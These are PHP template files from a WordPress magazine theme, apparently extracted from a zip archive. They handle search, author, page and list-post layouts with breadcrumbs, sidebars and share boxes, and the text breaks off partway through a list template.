  search.phpnu [        <?php
/**
 * This template will display category page
 *
 * @package Wordpress
 * @since 1.0
 */

get_header();

/* Sidebar position */
$sidebar_position = penci_get_sidebar_position_archive();

$show_sidebar = false;
if ( ( penci_get_setting( 'penci_sidebar_archive' ) ) ) {
	$show_sidebar = true;
} else {
	/* Use $template to detect sidebar for category - use this value for load correct sidebar in content templates */
	$template = 'no-sidebar';
}

$archive_desc_align = get_theme_mod( 'penci_archive_descalign', '' );
if ( $archive_desc_align ) {
	$archive_desc_align = ' pcdesc-' . $archive_desc_align;
}

$title_acls = 'pcatitle-' . get_theme_mod( 'penci_archive_titlealign', 'default' );

/* Categories layout */
$layout_this = get_theme_mod( 'penci_archive_layout' );
$grid_col    = get_theme_mod( 'penci_archive_grid_col' );
$grid_mcol   = get_theme_mod( 'penci_archive_grid_mcol' );
if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;

$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;
$two_sidebar_class = '';
if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
?>

<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
	<?php
	$yoast_breadcrumb = $rm_breadcrumb = '';
	if ( function_exists( 'yoast_breadcrumb' ) ) {
		$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb' . $two_sidebar_class . '">', '</div>', false );
	}

	if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
		$rm_breadcrumb = rank_math_get_breadcrumbs( [
			'wrap_before' => '<div class="container penci-breadcrumb' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
			'wrap_after'  => '</nav></div>',
		] );
	}

	if ( $rm_breadcrumb ) {
		echo $rm_breadcrumb;
	} elseif ( $yoast_breadcrumb ) {
		echo $yoast_breadcrumb;
	} else { ?>
        <div class="container penci-breadcrumb<?php echo $two_sidebar_class; ?>">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
            <span><?php echo penci_get_setting( 'penci_trans_search' ); ?></span>
        </div>
	<?php } ?>
<?php endif; ?>

<div class="container<?php echo esc_attr( $class_layout );
if ( $show_sidebar ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?>">
    <div id="main"
         class="penci-layout-<?php echo esc_attr( $layout_this ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php do_action( 'penci_archive_before_posts' ); ?>

			<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
				<?php
				$yoast_breadcrumb = $rm_breadcrumb = '';
				if ( function_exists( 'yoast_breadcrumb' ) ) {
					$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
				}

				if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
					$rm_breadcrumb = rank_math_get_breadcrumbs( [
						'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
						'wrap_after'  => '</nav></div>',
					] );
				}

				if ( $rm_breadcrumb ) {
					echo $rm_breadcrumb;
				} elseif ( $yoast_breadcrumb ) {
					echo $yoast_breadcrumb;
				} else { ?>
                    <div class="container penci-breadcrumb penci-crumb-inside<?php echo $two_sidebar_class; ?>">
                           <span><a class="crumb"
                                    href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                        <span><?php echo penci_get_setting( 'penci_trans_search' ); ?></span>
                    </div>
				<?php } ?>
			<?php endif; ?>

            <div class="archive-box<?php if ( penci_is_show_archive_filter() ): ?> pc-has-sorter container<?php endif; ?>">
                <div class="title-bar <?php echo $title_acls; ?>">
                    <span><?php echo penci_get_setting( 'penci_trans_search_results_for' ); ?></span>
                    <h1><?php printf( esc_html__( '"%s"', 'soledad' ), get_search_query() ); ?></h1>
                </div>
				<?php get_template_part( 'template-parts/archive-sorter' ); ?>
            </div>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_above' ); ?>

			<?php if ( have_posts() ) : ?>
				<?php
				$class_grid_arr = array(
					'mixed',
					'mixed-2',
					'mixed-3',
					'mixed-4',
					'small-list',
					'overlay-grid',
					'overlay-list',
					'photography',
					'grid',
					'grid-2',
					'list',
					'boxed-1',
					'boxed-2',
					'boxed-3',
					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list',
					'classic-boxed-1',
					'magazine-1',
					'magazine-2',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'grid-boxed-4',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3'
				);

				$cols_attrs  = '';
				$extra_class = '';
				if ( in_array( $layout_this, [ 'grid-boxed', 'grid-boxed-2','grid-boxed-3', 'grid-boxed-4', 'grid', 'masonry' ] ) ) {
					if ( $grid_col ) {
						$cols_attrs  .= ' data-cols="' . $grid_col . '"';
						$extra_class .= 'has-d-cols ';
					}
					if ( $grid_mcol ) {
						$cols_attrs  .= ' data-mcols="' . $grid_mcol . '"';
						$extra_class .= 'has-m-cols ';
					}
				}

				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '<ul' . $cols_attrs . ' class="penci-wrapper-data penci-grid">';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '<div class="penci-wrap-masonry"><div' . $cols_attrs . ' class="penci-wrapper-data masonry penci-masonry">';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '<div class="penci-wrapper-data">';
				}
				/* The loop */
				$cimg_size = 'normal';

				if ( in_array( $layout_this, [ 'grid-boxed', 'grid-boxed-2', 'grid-boxed-3' ] ) ) {
					$layout_this = 'grid';
				} elseif ( in_array( $layout_this, [ 'list-boxed', 'list-boxed-2' ] ) ) {
					$layout_this = 'list';
					$cimg_size   = 'masonry';
				}
				$infeed_ads  = get_theme_mod( 'penci_infeedads_archi_code' ) ? get_theme_mod( 'penci_infeedads_archi_code' ) : '';
				$infeed_num  = get_theme_mod( 'penci_infeedads_archi_num' ) ? get_theme_mod( 'penci_infeedads_archi_num' ) : 3;
				$infeed_full = get_theme_mod( 'penci_infeedads_archi_layout' ) ? get_theme_mod( 'penci_infeedads_archi_layout' ) : '';
				while ( have_posts() ) : the_post();
					include( locate_template( 'content-' . $layout_this . '.php' ) );
				endwhile;

				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '</ul>';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '</div></div>';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '</div>';
				}
				penci_soledad_archive_pag_style( $layout_this );
				?>
				<?php
				wp_reset_postdata();
			else:
				?>
				<?php echo penci_get_setting( 'penci_trans_search_not_found' ); ?>
			<?php
			endif;
			?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_below' ); ?>

			<?php do_action( 'penci_archive_after_posts' ); ?>

        </div>
    </div>

	<?php
	if ( $show_sidebar ) {
		get_sidebar();

		$category_layout_sidebar = get_theme_mod( 'penci_two_sidebar_archive' );

		if ( 'two' == $category_layout_sidebar ) {
			get_sidebar( 'left' );
		}
	}
	?>
</div>
<?php get_footer(); ?>
PK     N\Sf  f    content-page.phpnu [        <?php
/**
 * This is content page will display in loop of page.php file
 * Don't edit this file, let create child theme and override it
 *
 * @since 1.0
 */
$pagetitle   = get_post_meta( $post->ID, 'penci_page_display_title', true );
$sharebox    = get_post_meta( $post->ID, 'penci_page_sharebox', true );
$block_style = get_theme_mod( 'penci_blockquote_style' ) ? get_theme_mod( 'penci_blockquote_style' ) : 'style-1';
$heading_style = penci_get_heading_style();

$show_page_title = penci_is_pageheader();
$flag_ptitle     = true;
if ( get_theme_mod( 'penci_page_hide_ptitle' ) ) {
	$flag_ptitle = false;
}
if ( $pagetitle == 'yes' ) {
	$flag_ptitle = true;
} else if ( $pagetitle == 'no' ) {
	$flag_ptitle = false;
}
$simage_size = 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$simage_size = 'penci-masonry-thumb';
}
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
	<?php if ( ! $show_page_title ): ?>
		<?php if ( get_the_title() && $flag_ptitle ): ?>
            <div class="penci-page-header">
                <h1 class="entry-title"><?php the_title(); ?></h1>
            </div>
		<?php endif; ?>
	<?php endif; ?>
	<?php do_action( 'penci_after_post_title' ); ?>
	<?php penci_soledad_meta_schema(); ?>

	<?php if ( function_exists( 'has_post_thumbnail' ) && has_post_thumbnail() && ! get_theme_mod( 'penci_page_hide_featured_image' ) ) :
		$thumb_alt = $thumb_title_html = '';
		$thumb_id = get_post_thumbnail_id( get_the_ID() );
		$thumb_alt = penci_get_image_alt( $thumb_id, get_the_ID() );
		$thumb_title_html = penci_get_image_title( $thumb_id );
		?>
        <div class="post-image">
			<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod('penci_disable_lazyload_fsingle') ) {
				$img_w = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'w', false );
				$img_h = penci_get_image_data_based_post_id( get_the_ID(), $simage_size, 'h', false );
				?>
                <img class="attachment-penci-full-thumb size-penci-full-thumb penci-lazy wp-post-image"
                     src="<?php echo penci_holder_image_base( $img_w, $img_h ); ?>"
                     width="<?php echo $img_w; ?>"
                     height="<?php echo $img_h; ?>"
                     alt="<?php echo $thumb_alt; ?>"<?php echo $thumb_title_html; ?>
                     data-sizes="<?php echo penci_image_datasize( $simage_size , 'penci-masonry-thumb' ); ?>"
                     data-srcset="<?php echo penci_image_img_srcset( get_the_ID(), $simage_size ,'penci-masonry-thumb' ); ?>"
                     data-src="<?php echo penci_get_featured_image_size( get_the_ID(), $simage_size ); ?>">
			<?php } else { ?>
				<?php the_post_thumbnail( $simage_size ); ?>
			<?php } ?>
        </div>
	<?php endif; ?>

    <div class="post-entry <?php echo $heading_style; ?> <?php echo 'blockquote-' . $block_style; ?><?php if ( get_theme_mod( 'penci_page_comments' ) && get_theme_mod( 'penci_page_share' ) ): echo ' page-has-margin'; endif; ?>">
        <div class="inner-post-entry entry-content">
			<?php the_content(); ?>
			<?php wp_link_pages(); ?>
        </div>
    </div>

	<?php if ( ! get_theme_mod( 'penci_page_share' ) && ( 'no' != $sharebox ) ) : ?>
		<?php get_template_part( 'template-parts/single-meta-comment' ); ?>
	<?php endif; ?>

	<?php if ( ! get_theme_mod( 'penci_page_comments' ) ) : ?>
		<?php comments_template( '', true ); ?>
	<?php endif; ?>

</article>
PK     N\y      page-penci-full-width.phpnu [        <?php
/**
 * Template Name: Page No Sidebar
 */
get_header();
$breadcrumb     = get_post_meta( get_the_ID(), 'penci_page_breadcrumb', true );
$featured_boxes = get_post_meta( get_the_ID(), 'penci_page_display_featured_boxes', true );
$page_meta      = get_post_meta( get_the_ID(), 'penci_page_slider', true );
$rev_shortcode  = get_post_meta( get_the_ID(), 'penci_page_rev_shortcode', true );

if ( Penci_Featured_Slider::is_slider_style( $page_meta ) ) {
	if ( $page_meta == 'video' && get_theme_mod( 'penci_featured_video_url' ) ) {
		get_template_part( 'inc/featured_slider/featured_video' );
	} else {
		Penci_Featured_Slider::render_featured_slider( [
			'style'         => $page_meta,
			'rev_shortcode' => $rev_shortcode,
		] );
	}
}

/* Display Featured Boxes */
if ( $featured_boxes == 'yes' && ! get_theme_mod( 'penci_home_hide_boxes' ) && ( get_theme_mod( 'penci_home_box_img1' ) || get_theme_mod( 'penci_home_box_img2' ) || get_theme_mod( 'penci_home_box_img3' ) || get_theme_mod( 'penci_home_box_img4' ) ) ):
	get_template_part( 'inc/modules/home_boxes' );
endif;

?>
<?php $show_page_title = penci_is_pageheader(); ?>
<?php if ( ! $show_page_title ): ?>
	<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
		<?php
		$yoast_breadcrumb = $rm_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb">', '</div>', false );
		}

		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container container-single-page penci-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}

		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container container-single-page penci-breadcrumb">
                <span><a class="crumb"
                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				$page_parent = get_post_ancestors( get_the_ID() );
				if ( ! empty( $page_parent ) ):
					$page_parent = array_reverse( $page_parent );
					foreach ( $page_parent as $pages ) {
						?>
                        <span><a class="crumb"
                                 href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                        </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php }
				endif; ?>
                <span><?php the_title(); ?></span>
            </div>
		<?php } ?>
	<?php endif; ?>
<?php endif; ?>

<div class="container container-single-page else penci_is_nosidebar container-single-page-full-width">

	<?php if ( ! $show_page_title ): ?>
		<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
			<?php
			$yoast_breadcrumb = $rm_breadcrumb = '';
			if ( function_exists( 'yoast_breadcrumb' ) ) {
				$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb penci-crumb-inside">', '</div>', false );
			}

			if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
				$rm_breadcrumb = rank_math_get_breadcrumbs( [
					'wrap_before' => '<div class="container container-single-page penci-breadcrumb penci-crumb-inside"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
					'wrap_after'  => '</nav></div>',
				] );
			}

			if ( $rm_breadcrumb ) {
				echo $rm_breadcrumb;
			} elseif ( $yoast_breadcrumb ) {
				echo $yoast_breadcrumb;
			} else { ?>
                <div class="container container-single-page penci-breadcrumb penci-crumb-inside">
                        <span><a class="crumb"
                                 href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php
					$page_parent = get_post_ancestors( get_the_ID() );
					if ( ! empty( $page_parent ) ):
						$page_parent = array_reverse( $page_parent );
						foreach ( $page_parent as $pages ) {
							?>
                            <span><a class="crumb"
                                     href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                            </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
						<?php }
					endif; ?>
                    <span><?php the_title(); ?></span>
                </div>
			<?php } ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
		<?php get_template_part( 'content', 'page' ); ?>
	<?php endwhile; endif; ?>
</div>
<?php get_footer(); ?>
PK     N\e0[  [  
  author.phpnu [        <?php
/**
 * The template for displaying author pages
 *
 * @package Wordpress
 * @since 1.0
 */
get_header();

/* Sidebar position */
$sidebar_position = penci_get_sidebar_position_archive();
$title_acls = 'pcatitle-' . get_theme_mod('penci_archive_titlealign', 'default');
/* Archive layout */
$layout_this = get_theme_mod( 'penci_archive_layout' );
$grid_col = get_theme_mod( 'penci_archive_grid_col' );
$grid_mcol = get_theme_mod( 'penci_archive_grid_mcol' );
if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;
$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;
?>

<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
	<?php
	$yoast_breadcrumb = $rm_breadcrumb = '';
	if ( function_exists( 'yoast_breadcrumb' ) ) {
		$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb">', '</div>', false );
	}

	if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
		$rm_breadcrumb = rank_math_get_breadcrumbs( [
			'wrap_before' => '<div class="container penci-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
			'wrap_after'  => '</nav></div>',
		] );
	}

	if ( $rm_breadcrumb ) {
		echo $rm_breadcrumb;
	} elseif ( $yoast_breadcrumb ) {
		echo $yoast_breadcrumb;
	} else { ?>
        <div class="container penci-breadcrumb">
            <span><a class="crumb"
                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
			<?php
			echo '<span>';
			echo penci_get_setting( 'penci_trans_author' );
			echo '</span>';
			?>
        </div>
	<?php } ?>
<?php endif; ?>

<div class="container<?php echo esc_attr( $class_layout );
if ( penci_get_setting( 'penci_sidebar_archive' ) ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?>">
    <div id="main"
         class="penci-layout-<?php echo esc_attr( $layout_this ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php do_action( 'penci_archive_before_posts' ); ?>

			<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
				<?php
				$yoast_breadcrumb = $rm_breadcrumb = '';
				if ( function_exists( 'yoast_breadcrumb' ) ) {
					$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside">', '</div>', false );
				}

				if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
					$rm_breadcrumb = rank_math_get_breadcrumbs( [
						'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
						'wrap_after'  => '</nav></div>',
					] );
				}

				if ( $rm_breadcrumb ) {
					echo $rm_breadcrumb;
				} elseif ( $yoast_breadcrumb ) {
					echo $yoast_breadcrumb;
				} else { ?>
                    <div class="container penci-breadcrumb penci-crumb-inside">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
						<?php
						echo '<span>';
						echo penci_get_setting( 'penci_trans_author' );
						echo '</span>';
						?>
                    </div>
				<?php } ?>
			<?php endif; ?>

            <div class="archive-box">
                <div class="title-bar <?php echo $title_acls; ?>">
					<?php
					$author_name = get_the_author();
					$author      = get_user_by( 'slug', get_query_var( 'author_name' ) );
					if ( $author ) {
						$author_id   = $author->ID;
						$author_name = get_the_author_meta( 'display_name', $author_id );
					}
					echo '<span>';
					echo penci_get_setting( 'penci_trans_author' );
					echo ' </span>';
					printf( __( '<h1 class="page-title">%s</h1>', 'soledad' ), $author_name );
					?>
                </div>
            </div>

			<?php get_template_part( 'inc/templates/about_author' ); ?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_above' ); ?>

			<?php if ( have_posts() ) : ?>
				<?php
				$class_grid_arr = array(
					'mixed',
					'mixed-2',
					'mixed-3',
					'mixed-4',
					'small-list',
					'overlay-grid',
					'overlay-list',
					'photography',
					'grid',
					'grid-2',
					'list',
					'boxed-1',
					'boxed-2',
					'boxed-3',
					'standard-grid',
					'standard-grid-2',
					'standard-list',
					'standard-boxed-1',
					'classic-grid',
					'classic-grid-2',
					'classic-list',
					'classic-boxed-1',
					'magazine-1',
					'magazine-2',
					'grid-boxed',
					'grid-boxed-2',
					'grid-boxed-3',
					'grid-boxed-4',
					'list-boxed',
					'list-boxed-2',
					'list-boxed-3'
				);
				
				$cols_attrs = '';
				$extra_class = '';
				if ( in_array($layout_this,['grid-boxed', 'grid-boxed-2', 'grid-boxed-3', 'grid-boxed-4', 'grid', 'masonry'])){
					if ( $grid_col ) {
						$cols_attrs .= ' data-cols="'.$grid_col.'"';
						$extra_class .= 'has-d-cols ';
					}
					if ( $grid_mcol ) {
						$cols_attrs .= ' data-mcols="'.$grid_mcol.'"';
						$extra_class .= 'has-m-cols ';
					}
				}
				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '<ul'.$cols_attrs.' data-layout="'.esc_attr( $layout_this ).'" class="'.$extra_class.'penci-wrapper-data penci-grid">';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '<div class="penci-wrap-masonry"><div'.$cols_attrs.' class="penci-wrapper-data masonry penci-masonry">';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '<div class="penci-wrapper-data">';
				}

				$cimg_size = 'normal';

				if ( in_array($layout_this,['grid-boxed','grid-boxed-2','grid-boxed-3'])) {
					$layout_this = 'grid';
				} elseif ( in_array($layout_this,['list-boxed','list-boxed-2'])) {
					$layout_this = 'list';
					$cimg_size = 'masonry';
				}

				$infeed_ads  = get_theme_mod( 'penci_infeedads_archi_code' ) ? get_theme_mod( 'penci_infeedads_archi_code' ) : '';
				$infeed_num  = get_theme_mod( 'penci_infeedads_archi_num' ) ? get_theme_mod( 'penci_infeedads_archi_num' ) : 3;
				$infeed_full = get_theme_mod( 'penci_infeedads_archi_layout' ) ? get_theme_mod( 'penci_infeedads_archi_layout' ) : '';
				while ( have_posts() ) : the_post();
					include( locate_template( 'content-' . $layout_this . '.php' ) );
				endwhile;

				if ( in_array( $layout_this, $class_grid_arr ) ) {
					echo '</ul>';
				} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
					echo '</div></div>';
				} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
					echo '</div>';
				}

				penci_soledad_archive_pag_style( $layout_this );
				?>
			<?php endif;
			wp_reset_postdata(); /* End if of the loop */ ?>

			<?php echo penci_render_google_adsense( 'penci_archive_ad_below' ); ?>

			<?php do_action( 'penci_archive_after_posts' ); ?>

        </div>
    </div>

	<?php if ( penci_get_setting( 'penci_sidebar_archive' ) ) : ?>
		<?php get_sidebar(); ?>
		<?php if ( get_theme_mod( 'penci_two_sidebar_archive' ) ) : get_sidebar( 'left' ); endif; ?>
	<?php endif; ?>
</div>
<?php get_footer(); ?>
PK     N\j{u&  &    content-list-boxed-3.phpnu [        <?php
/**
 * Template loop for list style
 */
if ( ! isset( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$post_id = get_the_ID();
$custom_image_size = isset( $cimg_size ) && $cimg_size ? $cimg_size : 'normal';
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<li class="list-post-3<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( penci_get_post_format( 'gallery' ) ): ?>
			<?php $images = get_post_meta( get_the_ID(), '_format_gallery_images', true ); ?>
			<?php if ( $images ): ?>
                <div class="thumbnail">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"<?php if ( ! get_theme_mod('penci_grid_slider_auto') ) {?> data-auto="true"<?php }?>>
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ): ?>

								<?php $the_image = wp_get_attachment_image_src( $image, penci_featured_images_size() ); ?>
								<?php $the_caption = get_post_field( 'post_excerpt', $image ); ?>
                                <div class="swiper-slide swiper-mark-item">

                                    <figure class="<?php echo penci_layout_bg_class();?> penci-swiper-mask penci-image-holder"
										<?php
										if ( $the_caption ):
											?>
                                            title="<?php echo esc_attr( $the_caption ); ?>"<?php endif; ?>>
										<?php echo penci_layout_img( $the_image[0], $the_caption ); ?>
                                    </figure>

                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
					<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ): ?>
						<div class="penci-post-box-meta penci-post-box-grid penci-post-box-listpost">
							<div class="penci-post-share-box">
								<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
								<?php penci_soledad_social_share(); ?>
							</div>
						</div>
						<div class="penci-post-share-box-btn"><a href="#"><i class="fa fa-share"></i></a></div>
					<?php endif; ?>
					<?php do_action( 'penci_bookmark_post' ); ?>
					<div class="penci-post-share-box-btn"><a href="#"><i class="penciicon-share"></i></a></div>
                </div>
			<?php endif; ?>

		<?php elseif ( has_post_thumbnail() ): ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				/* Display Review Piechart  */
				if ( function_exists( 'penci_display_piechart_review_html' ) ) {
					penci_display_piechart_review_html( get_the_ID() );
				}
				$thumbnail_load = penci_featured_images_size( $custom_image_size );
				$class_load     = '';
				if ( get_theme_mod( 'penci_grid_nocrop_list' ) ):
					$thumbnail_load = 'penci-masonry-thumb';
					$class_load     = ' penci-list-nocrop-thumb';
				endif;
				?>


                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail_load )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable() . $class_load; ?>"
					<?php
					if ( get_theme_mod( 'penci_grid_nocrop_list' ) ):
						echo ' style="padding-bottom: ' . penci_get_featured_image_ratio( get_the_ID(), 'penci-masonry-thumb' ) . '%"';
					endif;
					?>
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
					<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail_load ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ): ?>
                        <a href="<?php the_permalink(); ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>

				<?php if ( ! get_theme_mod( 'penci_grid_share_box' ) ): ?>
					<div class="penci-post-box-meta penci-post-box-grid penci-post-box-listpost">
						<div class="penci-post-share-box">
							<?php echo penci_getPostLikeLink( get_the_ID() ); ?>
							<?php penci_soledad_social_share(); ?>
						</div>
					</div>
					<div class="penci-post-share-box-btn"><a href="#"><i class="penciicon-share"></i></a></div>
				<?php endif; ?>

            </div>
		<?php endif; ?>

        <div class="content-list-right content-list-center
		<?php
		if ( ! has_post_thumbnail() ):
			echo ' fullwidth';
		endif;
		?>
		">
            <div class="header-list-style">
				<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ): ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>

				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
            </div>

			<?php if ( get_the_excerpt() && ! get_theme_mod( 'penci_grid_remove_excerpt' ) ): ?>
                <div <?php echo penci_excerpt_link(); ?>class="item-content entry-content">
					<?php
					do_action( 'penci_before_post_excerpt' );
					if ( get_theme_mod( 'penci_excerptcharac' ) ) {
						the_excerpt();
					} else {
						$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
						penci_the_excerpt( $excerpt_length, $post_id );
					}
					?>
                </div>
			<?php endif; ?>

			<?php
			if ( get_theme_mod( 'penci_grid_add_readmore' ) ):
				$class_button = '';
				if ( get_theme_mod( 'penci_grid_remove_arrow' ) ):
					$class_button .= ' penci-btn-remove-arrow';
				endif;
